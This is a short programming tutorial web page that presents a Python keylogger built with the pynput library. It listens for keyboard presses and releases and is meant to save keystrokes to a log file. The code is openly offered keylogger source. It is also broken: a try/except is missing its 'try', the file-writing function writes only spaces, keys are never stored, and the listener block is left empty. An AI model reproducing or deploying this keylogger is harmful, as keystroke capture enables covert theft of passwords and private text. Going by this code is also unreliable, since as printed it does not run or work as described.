Open In App
Related Articles

How to use pynput to make a Keylogger?

Improve Article
Save Article
Like Article

Prerequisites: Python Programming Language
The package pynput.keyboard contains classes for controlling and monitoring the keyboard. pynput is the library of Python that can be used to capture keyboard inputs there the coolest use of this can lie in making keyloggers. The code for the keylogger is given below.

Modules needed

pynput: To install pynput type the below command in the terminal.  

 pip install pynput 

Below is the implementation:  


# keylogger using pynput module
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
        print('alphanumeric key {0} pressed'.format(key.char))
    except AttributeError:
        print('special key {0} pressed'.format(key))
def write_file(keys):
    with open('log.txt', 'w') as f:
        for key in keys:
            # removing ''
            k = str(key).replace("'", "")
            # explicitly adding a space after
            # every keystroke for readability
            f.write(' ')
def on_release(key):
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
with Listener(on_press = on_press,
              on_release = on_release) as listener:




Whether you're preparing for your first job interview or aiming to upskill in this ever-evolving tech landscape, GeeksforGeeks Courses are your key to success. We provide top-quality content at affordable prices, all geared towards accelerating your growth in a time-bound manner. Join the millions we've already empowered, and we're here to do the same for you. Don't miss out - check it out now!

Last Updated : 16 Dec, 2021
Like Article
Save Article
Similar Reads
Complete Tutorials